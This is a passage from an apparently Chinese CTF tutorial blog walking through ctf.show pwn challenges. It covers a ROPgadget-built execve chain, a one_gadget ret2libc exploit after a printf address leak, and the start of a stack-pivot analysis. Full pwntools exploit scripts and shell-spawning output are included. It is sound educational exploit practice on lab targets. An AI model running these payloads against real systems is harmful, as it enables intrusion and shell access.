class="string">&#x27;</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080549db) # mov dword ptr [edx], eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0806f02a) # pop edx ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080ea064) # @ .data + 4</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080b81c6) # pop eax ; ret</span></span><br><span class="line"><span class="string">p += b&#x27;</span>//sh<span class="string">&#x27;</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080549db) # mov dword ptr [edx], eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0806f02a) # pop edx ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080ea068) # @ .data + 8</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x08049303) # xor eax, eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080549db) # mov dword ptr [edx], eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080481c9) # pop ebx ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080ea060) # @ .data</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080de955) # pop ecx ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080ea068) # @ .data + 8</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0806f02a) # pop edx ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x080ea068) # @ .data + 8</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x08049303) # xor eax, eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0807a86f) # inc eax ; ret</span></span><br><span class="line"><span class="string">p += pack(&#x27;</span>&lt;I<span class="string">&#x27;, 0x0806cc25) # int 0x80</span></span><br></pre></td></tr></table></figure><p>可以看到，它已经很智能的帮我们构造好了这些，我们仅仅需要将它构造好的payload提取出来，然后填充上偏移即可进行我们的攻击</p><p>当然在现处学习阶段，如果想学习更多可以自己一步步去了解他这样构造的原因，本题的目的是为了让大家学习这一种方法。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#io = remote(&quot;pwn.challenge.ctf.show&quot;, 28202)</span></span><br><span class="line"><span class="comment"># Padding goes here</span></span><br><span class="line">p = cyclic(<span class="number">0x18</span>+<span class="number">4</span>)</span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806f02a</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea060</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080b81c6</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">p += <span class="string">b&#x27;/bin&#x27;</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080549db</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806f02a</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea064</span>) <span class="comment"># @ .data + 4</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080b81c6</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">p += <span class="string">b&#x27;//sh&#x27;</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080549db</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806f02a</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x08049303</span>) <span class="comment"># xor eax, eax ; re</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080549db</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080481c9</span>) <span class="comment"># pop ebx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea060</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080de955</span>) <span class="comment"># pop ecx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806f02a</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x080ea068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x08049303</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0807a86f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">&#x27;&lt;I&#x27;</span>, <span class="number">0x0806cc25</span>) <span class="comment"># int 0x80</span></span><br><span class="line">io.sendline(p)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 453</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">Try to Show-hand!!</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn74（libc6-2-27-3ubuntu1-6（1-5也可以）-amd64或者ubuntu18-04本地的可以打通）"><a href="#pwn74（libc6-2-27-3ubuntu1-6（1-5也可以）-amd64或者ubuntu18-04本地的可以打通）" class="headerlink" title="pwn74（libc6_2.27-3ubuntu1.6（1.5也可以）_amd64或者ubuntu18.04本地的可以打通）"></a>pwn74（libc6_2.27-3ubuntu1.6（1.5也可以）_amd64或者ubuntu18.04本地的可以打通）</h2><h6 id="Hint：噢？好像到现在为止还没有了解到one-gadget"><a href="#Hint：噢？好像到现在为止还没有了解到one-gadget" class="headerlink" title="Hint：噢？好像到现在为止还没有了解到one_gadget?"></a>Hint：噢？好像到现在为止还没有了解到one_gadget?</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn &amp;&amp;  file pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      Canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  Stripped:   No</span><br><span class="line">pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, <span class="keyword">for</span> GNU/Linux 3.2.0, BuildID[sha1]=55cc5de7877c75cdd2e929f458e0d174fc7628d7, not stripped</span><br></pre></td></tr></table></figure><p>64位保护全开，相对于现阶段，看到这种保护全开的题可能会有点迷茫，但是实际上在堆阶段后面基本上都是保护全开的题比较多一点，这里也是为了让大家提前了解一些攻击手法。</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  _QWORD v4[<span class="number">3</span>]; <span class="comment">// [rsp+8h] [rbp-18h] BYREF</span></span><br><span class="line"></span><br><span class="line">  v4[<span class="number">2</span>] = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  <span class="built_in">puts</span>(s);</span><br><span class="line">  <span class="built_in">puts</span>(asc_A80);</span><br><span class="line">  <span class="built_in">puts</span>(asc_B00);</span><br><span class="line">  <span class="built_in">puts</span>(asc_B90);</span><br><span class="line">  <span class="built_in">puts</span>(asc_C20);</span><br><span class="line">  <span class="built_in">puts</span>(asc_CA8);</span><br><span class="line">  <span class="built_in">puts</span>(asc_D40);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : PWN_Tricks                                              &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : Use one_gadget a shuttle!                               &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;What&#x27;s this:%p ?\n&quot;</span>, &amp;<span class="built_in">printf</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%ld&quot;</span>, v4);</span><br><span class="line">  v4[<span class="number">1</span>] = v4[<span class="number">0</span>];</span><br><span class="line">  ((<span class="type">void</span> (*)(<span class="type">void</span>))v4[<span class="number">0</span>])();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，这里程序输出了printf函数的地址，然后通过 __isoc99_scanf 函数从用户输入中读取一个长整数，并将其存储在 v4 数组的第一个元素中。</p><p>再将 v4 数组的第一个元素的值赋给了数组的第二个元素。继续通过函数指针调用了 v4数组的第一个元素所指向的函数。这个部分利用函数指针的特性，将其转换为函数并进行调用。从伪代码中我们能得到这些。</p><p>使用用户输入来获取函数指针，并通过函数指针调用相应的函数。需要注意的是，这种通过用户输入来获取函数指针并调用函数的做法极有可能会带来安全隐患，因为恶意用户可以输入不安全的函数指针，导致程序出现问题。</p><p>至此，大家可能对攻击手段还是并不了解，那么我们继续了解攻击手法（one_gadget）one_gadget是libc中存在的一些执行execve(“&#x2F;bin&#x2F;sh”, NULL, NULL)的片段，当可以泄露libc地址，并且可以知道libc版本的时候，可以使用此方法来快速控制指令寄存器开启shell。</p><p>相比于system(“&#x2F;bin&#x2F;sh”)，这种方式更加方便，不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。</p><p>安装方式：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">sudo</span> apt -y install ruby</span><br><span class="line">$ <span class="built_in">sudo</span> gem install one_gadget</span><br></pre></td></tr></table></figure><p>使用方法：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ one_gadget /lib/x86_64-linux-gnu/libc.so.6</span><br><span class="line">0x4f29e execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  address rsp+0x50 is writable</span><br><span class="line">  rsp &amp; 0xf == 0</span><br><span class="line">  rcx == NULL || &#123;rcx, <span class="string">&quot;-c&quot;</span>, r12, NULL&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x4f2a5 execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  address rsp+0x50 is writable</span><br><span class="line">  rsp &amp; 0xf == 0</span><br><span class="line">  rcx == NULL || &#123;rcx, rax, r12, NULL&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x4f302 execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x40] == NULL || &#123;[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x10a2fc execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x70, environ)</span><br><span class="line">constraints:</span><br><span class="line">  [rsp+0x70] == NULL || &#123;[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...&#125; is a valid argv</span><br></pre></td></tr></table></figure><p>one_gadget并不总是可以获取shell，它首先要满足一些条件才能执行成功,后面提示就是在调用one_gadget前需要满足的条件。</p><p>本题仅仅是一个工具引进使用，具体可以自行调试一下便知。省了很大一部分时间和精力，对于初学者来说，libc版本是个坑。因此在训练题型上平台一般弄了几个比较相对固定的libc版本，实际比赛时libc的版本更加多样复杂。</p><p>当然，在这里如果不是使用的附带虚拟机，则需要自行去泄漏libc，当然前面经过这么多题的练习，相信这些也是没难度了。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#本地</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">one_gadget=<span class="number">0x10a2fc</span></span><br><span class="line">printf_libc=libc.symbols[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;this:&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(printf_libc))</span><br><span class="line">printf = <span class="built_in">int</span>(io.recv(<span class="number">14</span>),<span class="number">16</span>)</span><br><span class="line">libc_base = printf-printf_libc <span class="comment">#基地址 = 泄露地址 - 函数在libc中的偏移</span></span><br><span class="line">io.sendline(<span class="built_in">str</span>(one_gadget+libc_base).encode())</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br><span class="line"><span class="comment">#远程</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> LibcSearcher  </span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28313</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;this:&#x27;</span>)</span><br><span class="line">printf_addr = <span class="built_in">int</span>(io.recv(<span class="number">14</span>), <span class="number">16</span>) </span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;泄露的printf地址: <span class="subst">&#123;<span class="built_in">hex</span>(printf_addr)&#125;</span>&quot;</span>)</span><br><span class="line">libc = LibcSearcher(<span class="string">&quot;printf&quot;</span>, printf_addr)</span><br><span class="line">libc_base = printf_addr - libc.dump(<span class="string">&quot;printf&quot;</span>)  </span><br><span class="line">one_gadget = libc_base + <span class="number">0x10a2fc</span>  </span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;libc基地址: <span class="subst">&#123;<span class="built_in">hex</span>(libc_base)&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;one_gadget地址: <span class="subst">&#123;<span class="built_in">hex</span>(one_gadget)&#125;</span>&quot;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(one_gadget).encode())</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 209</span><br><span class="line">[*] <span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">0x64e40</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn75（栈迁移）"><a href="#pwn75（栈迁移）" class="headerlink" title="pwn75（栈迁移）"></a>pwn75（栈迁移）</h2><h6 id="Hint：栈空间不够怎么办？"><a href="#Hint：栈空间不够怎么办？" class="headerlink" title="Hint：栈空间不够怎么办？"></a>Hint：栈空间不够怎么办？</h6><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启NX保护，部分开启RELRO</p><p>简单运行程序发现有两次输入点：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Not enough stack space?</span><br><span class="line">    * *************************************</span><br><span class="line">Old friends have not seen each other <span class="keyword">for</span> a long <span class="keyword">time</span>!</span><br><span class="line">To confirm your identity, please enter your codename:</span><br><span class="line">rhea</span><br><span class="line">Welcome, rhea</span><br><span class="line"></span><br><span class="line">What <span class="keyword">do</span> you want to <span class="keyword">do</span>?</span><br><span class="line"><span class="built_in">cat</span> flag</span><br><span class="line">Nothing here ,<span class="built_in">cat</span> flag</span><br></pre></td></tr></table></figure><p>并且在输入后会输出自己输入的东西，第一次是输出Welcome，+第一次输入 第二次Nothing here,+第二次输入</p><p>具体啥情况还是拖进IDA进行分析,IDA查看main函数，直接跟进漏洞函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Old friends have not seen each other for a long time!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;To confirm your identity, please enter your codename:&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE s[<span class="number">36</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x20u</span>);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x30u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Welcome, %s\n&quot;</span>, s);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What do you want to do?&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x30u</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Nothing here ,%s\n&quot;</span>, s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，仍旧是熟悉的栈溢出漏洞，但是能溢出的字节数非常有限，s距ebp 0x28,可以读入0x30，溢出的字节仅有8字节,无法进行我们的ROP链构造，那么这里就应该要想到栈迁移了</p><p>同时注意到题目存在system函数，但是并不会得到我们想要的：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">hackerout</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;echo hacker_get_out!&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序最后使用的也是leave 和 retn来还原现场的：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:080486D9 ; int ctfshow()</span><br><span class="line">.text:080486D9                 public ctfshow</span><br><span class="line">.text:080486D9 ctfshow         proc near               ; CODE XREF: main+48↓p</span><br><span class="line">.text:080486D9</span><br><span class="line">.text:080486D9 s               = byte ptr -28h</span><br><span class="line">.text:080486D9 var_4           = dword ptr -4</span><br><span class="line">.text:080486D9</span><br><span class="line">.text:080486D9 ; __unwind &#123;</span><br><span class="line">.text:080486D9                 push    ebp</span><br><span class="line">.text:080486DA                 mov     ebp, esp</span><br><span class="line">.text:080486DC                 push    ebx</span><br><span class="line">.text:080486DD                 sub     esp, 24h</span><br><span class="line">.text:080486E0                 call    __x86_get_pc_thunk_bx</span><br><span class="line">.text:080486E5                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)</span><br><span class="line">.text:080486EB                 sub     esp, 4</span><br><span class="line">.text:080486EE                 push    20h ; &#x27; &#x27;       ; n</span><br><span class="line">.text:080486F0                 push    0               ; c</span><br><span class="line">.text:080486F2                 lea     eax, [ebp+s]</span><br><span class="line">.text:080486F5                 push    eax             ; s</span><br><span class="line">.text:080486F6                 call    _memset</span><br><span class="line">.text:080486FB                 add     esp, 10h</span><br><span class="line">.text:080486FE                 sub     esp, 4</span><br><span class="line">.text:08048701                 push    30h ; &#x27;0&#x27;       ; nbytes</span><br><span class="line">.text:08048703                 lea     eax, [ebp+s]</span><br><span class="line">.text:08048706                 push    eax             ; buf</span><br><span class="line">.text:08048707                 push    0               ; fd</span><br><span class="line">.text:08048709                 call    _read</span><br><span class="line">.text:0804870E                 add     esp, 10h</span><br><span class="line">.text:08048711                 sub     esp, 8</span><br><span class="line">.text:08048714                 lea     eax, [ebp+s]</span><br><span class="line">.text:08048717                 push    eax</span><br><span class="line">.text:08048718                 lea     eax, (aWelcomeS - 804B000h)[ebx] ; &quot;Welcome, %s\n&quot;</span><br><span class="line">.text:0804871E                 push    eax             ; format</span><br><span class="line">.text:0804871F                 call    _printf</span><br><span class="line">.text:08048724                 add     esp, 10h</span><br><span class="line">.text:08048727                 sub     esp, 0Ch</span><br><span class="line">.text:0804872A                 lea     eax, (aWhatDoYouWantT - 804B000h)[ebx] ; &quot;What do you want to do?&quot;</span><br><span class="line">.text:08048730                 push    eax             ; s</span><br><span class="line">.text:08048731                 call    _puts</span><br><span class="line">.text:08048736                 add     esp, 10h</span><br><span class="line">.text:08048739                 sub     esp, 4</span><br><span class="line">.text:0804873C                 push    30h ; &#x27;0&#x27;       ; nbytes</span><br><span class="line">.text:0804873E                 lea     eax, [ebp+s]</span><br><span class="line">.text:08048741                 push    eax             ; buf</span><br><span class="line">.text:08048742                 push    0               ; fd</span><br><span class="line">.text:08048744                 call    _read</span><br><span class="line">.text:08048749                 add     esp, 10h</span><br><span class="line">.text:0804874C                 sub     esp, 8</span><br><span class="line">.text:0804874F                 lea     eax, [ebp+s]</span><br><span class="line">.text:08048752                 push    eax</span><br><span class="line">.text:08048753                 lea     eax, (aNothingHereS - 804B000h)[ebx] ; &quot;Nothing here ,%s\n&quot;</span><br><span class="line">.text:08048759                 push    eax             ; format</span><br><span class="line">.text:0804875A                 call    _printf</span><br><span class="line">.text:0804875F                 add     esp, 10h</span><br><span class="line">.text:08048762                 nop</span><br><span class="line">.text:08048763                 mov     ebx, [ebp+var_4]</span><br><span class="line">.text:08048766                 leave</span><br><span class="line">.text:08048767                 retn</span><br><span class="line">.text:08048767 ; &#125; // starts at 80486D9</span><br><span class="line">.text:08048767 ctfshow         endp</span><br></pre></td></tr></table></figure><p>前面学的leave实质 上是mov esp,ebp和pop ebp，将栈底地址赋给栈顶，然后在重新设置栈底地址</p><p>retn实质上是pop eip，设置下一条执行指令的地址</p><p>那么现在需要明确一下思路：有两个输入点</p><ol><li>利用第一个输入点来泄露ebp的值，动调找一下buf在栈上的位置，用ebp去表示</li><li>第二个输入点输入system（&#x2F;bin&#x2F;sh），利用两次leave将栈迁移到buf处，执行buf里的指令，进行get shell</li></ol><p>首先泄漏ebp的值：</p><p>构造payload：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">0x24</span> + <span class="string">b&#x27;show&#x27;</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;codename:&#x27;</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;show&#x27;</span>)</span><br><span class="line">ebp = u32(io.recv(<span class="number">4</span>).ljust(<span class="number">4</span>,<span class="string">b&#x27;\x00&#x27;</span>))<span class="comment">#由于payload 中没有主动填充\x00，printf 会 “溢出” 输出到 buf 之后的内存，包括 ebp（4字节）的值。</span></span><br></pre></td></tr></table></figure><p>然后动态调试看一下ebp和buf的位置距离，用ebp去表示buf</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gdb pwn</span><br><span class="line">pwndbg&gt; b ctfshow</span><br><span class="line">pwndbg&gt; r</span><br><span class="line">pwndbg&gt; n <span class="comment">#单步执行直到第一次 read 函数执行完毕并等待输入</span></span><br><span class="line">pwndbg&gt; n</span><br><span class="line">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaashow</span><br><span class="line">pwndbg&gt; stack 50</span><br><span class="line">00:0000│ esp 0xff8b2180 ◂— 0</span><br><span class="line">01:0004│-034 0xff8b2184 —▸ 0xff8b2190 ◂— 0x61616161 (<span 